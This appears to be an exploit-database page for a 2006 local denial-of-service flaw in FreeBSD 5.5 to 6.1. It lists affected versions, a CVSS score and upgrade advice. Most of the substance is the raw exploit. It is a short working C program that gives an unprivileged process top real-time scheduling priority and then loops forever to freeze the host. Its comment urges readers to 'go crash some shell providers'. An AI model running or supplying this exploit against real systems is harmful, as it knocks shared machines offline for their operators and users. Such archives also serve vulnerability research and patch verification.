header-logo
Suggest Exploit
vendor:
FreeBSD
by:
davidxu
7,2
CVSS
HIGH
Denial of Service
20
CWE
Product Name: FreeBSD
Affected Version From: FreeBSD 5.5-RELEASE
Affected Version To: FreeBSD 6.1-RELEASE-p10
Patch Exists: YES
Related CWE: N/A
CPE: o:freebsd:freebsd
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10
2006

FreeBSD cvs commit: src/sys/posix4/p1003_1b.c

A local denial of service vulnerability exists in FreeBSD due to a lack of proper validation of user-supplied input when setting a scheduler policy. An attacker can exploit this vulnerability by running a specially crafted program that sets a scheduler policy, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of FreeBSD.
Source

Exploit-DB raw data:

/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}

// milw0rm.com [2006-10-13]